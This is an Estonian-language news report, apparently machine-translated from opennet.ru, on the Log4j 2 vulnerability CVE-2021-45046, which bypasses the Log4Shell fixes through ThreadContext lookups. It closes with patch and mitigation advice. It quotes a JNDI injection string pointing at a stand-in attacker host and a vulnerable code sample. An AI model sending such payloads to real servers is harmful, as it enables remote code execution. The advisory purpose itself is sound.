Log4j 2-le on leitud uus rĂŒnnakuvĂ”imalus, mis vĂ”imaldab mööduda lisatud kaitsetest.

Log4j 2 teostatavad JNDI asendamiseks on avastatud veel ĂŒks haavatavus (CVE-2021-45046), mis avaldub vaatamata 2.15 vĂ€ljaandes tehtud parandustele ja olenemata seadistuse "log4j2.noFormatMsgLookup" kasutamisest turvamiseks. Probleem kujutab endast ohtu peamiselt vanadele Log4j 2 versioonidele, mis on kaitstud lippude "noFormatMsgLookup" abil, kuna see vĂ”imaldab ĂŒletada kaitset varasema haavatavuse (Log4Shell, CVE-2021-44228) vastu, mis vĂ”imaldab tĂ€ita oma koodi serveris. Versiooni 2.15 kasutajatel on ekspluateerimine piiratud olekute loomiseks, mis toob kaasa rakenduse Ă€kilise sulgemise tĂ”ttu saadaval olevate ressursside ammendumise.

Haavatavus avaldub ainult sĂŒsteemides, kus logimise ajal kasutatakse kontekstipĂ€ringuid (Context Lookup), nagu ${ctx:loginId}, vĂ”i MDC-malle (Thread Context Map), nĂ€iteks %X, %mdc ja %MDC. Expluateerimine on kĂ€rbitud tingimuste loomiseks, et logis vĂ€lja anda andmeid, mis sisaldavad JNDI asendusi, kasutades rakenduses kontekstipĂ€ringute vĂ”i MDC-mallide mÀÀratlemise reegleid logivĂ€ljundi vormindamiseks.

LunaSeci uurijad on mĂ€rkinud, et Log4j versioonide puhul, mis on madalamad kui 2.15, vĂ”ib seda haavatavust kasutada uue Log4Shell rĂŒnnaku vektorina, mis viib koodi tĂ€itmisele, kui logides kasutatakse ThreadContext'i vĂ€ljendeid, kuhu sattuvad vĂ€lised andmed, sĂ”ltumata „noMsgFormatLookups” kaitselipu vĂ”i „%m{nolookups}” malliga seadistamisest.

Log4j 2-le on leitud uus rĂŒnnakuvĂ”imalus, mis vĂ”imaldab mööduda lisatud kaitsetest.

Kaitse ring on selles, et selle asemel, et sĂŒstida otse "${jndi:ldap://attacker.com/a}", sĂŒstitakse see muudatuse kaudu vahevariandina, mida kasutatakse logi vormindamise reeglite ajal. NĂ€iteks, kui logis kasutatakse konteksti pĂ€ringut ${ctx:apiversion}, vĂ”ib rĂŒnnak toimuda andmete "${jndi:ldap://attacker.com/a}" sĂŒstimise kaudu vÀÀrtusse, mille salvestatakse apiversioni muutujasse. NĂ€ide haavatavast koodist: appender.console.layout.pattern = ${ctx:apiversion} — %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L — %m%n @GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // HTTP pĂ€ise „X-Api-Version” vÀÀrtus edastatakse ThreadContext’i ThreadContext.put("apiversion", apiVersion); // Logimisel töödeldakse vĂ€liseid apiversioni vÀÀrtusi sĂŒstimise kaudu ${ctx:apiversion} logger.info("Received a request for API version"); return "Hello, world!"; }

Log4j versioonis 2.15 saab haavatavust kasutada DoS-rĂŒnnakute tegemiseks, edastades ThreadContext’i vÀÀrtusi, mis pĂ”hjustavad vormindamise ĆĄablooni töötlemise lĂ”pmatuse.

Log4j 2-le on leitud uus rĂŒnnakuvĂ”imalus, mis vĂ”imaldab mööduda lisatud kaitsetest.

Turvalisuse tÔstmiseks on vÀlja antud uuendused versioonides 2.16 ja 2.12.2. Log4j 2.16 versioonis on lisaks 2.15 versioonis rakendatud parandustele ja JNDI LDAP-pÀringute seotusele 'localhost' vaikimisi tÀielikult keelatud JNDI funktsioon ning eemaldatud on sÔnumite kohandamise malle tugi. Kaitse alternatiivina on soovitatav eemaldada JndiLookup klass classpath'ist (nÀiteks 'zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class').

Pakkide vĂ€rskenduste jĂ€lgimiseks saab kĂŒlastada distributsioonide lehte (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) ja Java platvormide tootjate lehti (GitHub, Docker, Oracle, vmWare, Broadcom ja Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure jne).

Allikas: opennet.ru

Osta usaldusvÀÀrne veebihosting DDoS kaitsega, VPS VDS serverid đŸ”„ Osta usaldusvÀÀrne veebihosting DDoS kaitsega, VPS VDS serverid | ProHoster